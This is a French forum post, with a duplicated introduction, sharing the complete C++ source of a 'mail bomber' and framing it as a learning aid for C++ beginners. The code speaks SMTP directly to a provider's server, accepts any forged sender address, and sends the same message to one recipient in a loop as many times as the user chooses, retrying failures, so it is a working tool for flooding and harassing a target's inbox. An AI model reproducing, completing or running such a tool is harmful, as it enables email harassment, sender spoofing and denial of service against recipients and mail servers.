Hello
Ca fait déjà un moment que j'ai commencé mon projet de mail bomber que j'ai interrompu et, enfin fini. Voici donc l'open source. Je me suis dit que ça serait toujours pratique pour ceux voulant débuter le C++ d'avoir ce genre de sources sous la main . C'est loin d'être optimisé mais c'est toujours bon à prendre
Malheuresement je n'ai pas encore réussi à automatiser la recherche du serveur SMTP du FAI utilisé (au passage si quelqu'un sais comment trouver ça, je prend ). Il faut donc remplacer "smtp.exemple.fr" par le smtp de votre FAI.
En espérant que ça puisse en aider certains
A bientôt
Ca fait déjà un moment que j'ai commencé mon projet de mail bomber que j'ai interrompu et, enfin fini. Voici donc l'open source. Je me suis dit que ça serait toujours pratique pour ceux voulant débuter le C++ d'avoir ce genre de sources sous la main . C'est loin d'être optimisé mais c'est toujours bon à prendre
Malheuresement je n'ai pas encore réussi à automatiser la recherche du serveur SMTP du FAI utilisé (au passage si quelqu'un sais comment trouver ça, je prend ). Il faut donc remplacer "smtp.exemple.fr" par le smtp de votre FAI.
Code:
#include <iostream> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <netdb.h> #include <string.h> #include <vector> #define INVALID_SOCKET -1 #define SOCKET_ERROR -1 #define closesocket(param) close(param) typedef int SOCKET; typedef struct sockaddr_in SOCKADDR_IN; typedef struct sockaddr SOCKADDR; using namespace std; string recept_S(SOCKET sock, int affiche = 0, int taille = 1024) { char reponse[taille]; int retval; retval = recv(sock, reponse, sizeof(reponse), 0); if(retval == -1) cout << "ERREUR : Reception reponse!" << endl; else if((retval != 0) && (affiche == 1)) cout << reponse; return reponse; } int envoi_mail(string FROM, string TO, string SUBJECT, string UDATA[], int UDATA_size) { // ===== Creation socket ===== SOCKET sock; sock = socket(AF_INET, SOCK_STREAM, 0); //Création de la socket if(sock != INVALID_SOCKET) {/*cout << "Socket : Creee" << endl;*/} else { cout << "Erreur : Creation socket!" << endl; return 1; } // ===== Parametrage socket ===== const char* smtp_server = "smtp.exemple.fr"; SOCKADDR_IN target; hostent *server_adress = gethostbyname(smtp_server); target.sin_addr.s_addr = *((unsigned long *)server_adress->h_addr_list[0]); //Serveur target.sin_family = AF_INET; target.sin_port = htons(25); //cout << "Socket : Parametree" << endl; // ===== Connexion ===== //cout << "Socket : Connection en cour..." << endl; if(connect(sock, (SOCKADDR*)&target, sizeof(target)) == 0) {/*cout << "Socket : Connectee" << endl;*/} else { cout << "Erreur : Connection socket!" << endl; return 1; } // ===== Envois donnees ===== //cout << endl << "Envois en cour..." << endl << endl; string HELO[] = {"HELO \n", "MAIL FROM: <>\n", "RCPT TO: <>\n", "DATA\n"}; HELO[0].insert(5, smtp_server); HELO[1].insert(12, FROM); HELO[2].insert(10, TO); vector<string> DATA(3); DATA[0] = "From: <>\n"; DATA[1] = "To: <>\n"; DATA[2] = "Subject: \n"; DATA[0].insert(7, FROM); DATA[1].insert(5, TO); DATA[2].insert(9, SUBJECT); for(int i = 0; i < UDATA_size; i++) { DATA.push_back(UDATA[i]); DATA[i+3] += "\n"; } string QUIT[] = {".\n", "QUIT\n"}; const char *TEST; string verif; for(int i = 0; i<4; i++) { TEST = HELO[i].c_str(); send(sock, TEST, strlen(TEST), 0); recept_S(sock); } for(int i = 0; i<DATA.size(); i++) { TEST = DATA[i].c_str(); send(sock, TEST, strlen(TEST), 0); } for(int i = 0; i<2; i++) { TEST = QUIT[i].c_str(); send(sock, TEST, strlen(TEST), 0); verif = recept_S(sock); } if(verif.find("250 2.0.0 Ok: queued as") != string::npos) {/*cout << endl << "Envoi réussi!" << endl;*/} else { cout << endl << "Echec de l'envoi!" << endl; return 0; } // ===== Fermeture socket ===== if(closesocket(sock) == 0) {/*cout << "Socket : Fermee" << endl;*/} else { cout << "Erreur : Fermeture socket!" << endl; return 1; } //cout << endl << "Fin!" << endl; return 0; } int main() { string FROM; string TO; string SUBJECT; vector<string> DATA(0); string TempDATA; int number = -1; while((FROM.find("@") == -1) || (FROM.find(".") == -1)) { cout << "From: "; getline(cin, FROM); if ((FROM.find("@") == -1) || (FROM.find(".") == -1)) cout << "Invalid address!" << endl << endl; } while((TO.find("@") == -1) || (TO.find(".") == -1)) { cout << "To: "; getline(cin, TO); if ((TO.find("@") == -1) || (TO.find(".") == -1)) cout << "Invalid address!" << endl << endl; } while(SUBJECT.empty()) { cout << "Subject: "; getline(cin, SUBJECT); if (SUBJECT.empty()) cout << "Tittle requiered!" << endl << endl; } cout << "Message: (Enter .FINISH. to finish your msg)" << endl; for (int i = 1; ; i++) { getline(cin, TempDATA); if (TempDATA == ".FINISH.") break; else DATA.push_back(TempDATA); } string UDATA[DATA.size()]; for (int i = (DATA.size() - 1); i >= 0; i--) UDATA[i] = DATA[i]; while(number == -1) { cout << "Number of mails: "; cin >> number; if (number == -1) cout << "Invalid number!" << endl << endl; } for(int compteur = 1; compteur <= number; compteur++) { while((envoi_mail(FROM, TO, SUBJECT, UDATA, (sizeof(UDATA) / sizeof(UDATA[0])))) != 0){} system("clear"); cout << "Sent : " << compteur << endl; } }
A bientôt